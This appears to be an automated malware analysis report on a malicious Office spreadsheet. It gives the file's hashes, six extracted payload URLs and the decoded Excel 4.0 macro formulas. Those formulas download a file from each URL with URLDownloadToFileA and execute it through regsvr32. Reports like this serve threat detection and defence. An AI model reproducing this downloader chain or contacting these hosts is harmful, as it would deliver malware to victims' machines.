General
-
Target
837c4cc2fe6f5d706be37e2210c393b3ef56b8467001af68c5ec495d889a2df9
-
Size
46KB
-
MD5
0bdf544ccf7787874129040fbdce2d4a
-
SHA1
0702fc0618a4672599395ebf312a22d435825266
-
SHA256
837c4cc2fe6f5d706be37e2210c393b3ef56b8467001af68c5ec495d889a2df9
-
SHA512
c3367df5a8820d11cd346e35a02d4056d0f2548a9bf4b23c1e2c948f14867221b666abe2265748b0dafecbfec0d06c8ad96a5bf95b49fa99b31f0af169f64913
-
SSDEEP
768:myMo9DOevZCwrvtE9WzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VP9HW:XMo9D88tT5fTR4Lh1NisFYBc3cr+UqVk
Malware Config
Extracted
http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/
https://baksen.org/chat/8wYoYwWXH4eidiUOAs/
https://truetvkerala.com/wp-admin/iocOOm7I/
https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/
http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/
http://restoran.hotelrestoranaqua.com/wp-includes/67I/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aquapark.hotelrestoranaqua.com/wp-includes/a1eCjuFRWXku/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://baksen.org/chat/8wYoYwWXH4eidiUOAs/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://truetvkerala.com/wp-admin/iocOOm7I/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lavanya-aesthetic.com/cgi-bin/PjtfI2BlnvUtlMV2vTR/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kopkomerc.rs/wp-includes/css/ErPamucLecQSqd/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://restoran.hotelrestoranaqua.com/wp-includes/67I/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
837c4cc2fe6f5d706be37e2210c393b3ef56b8467001af68c5ec495d889a2df9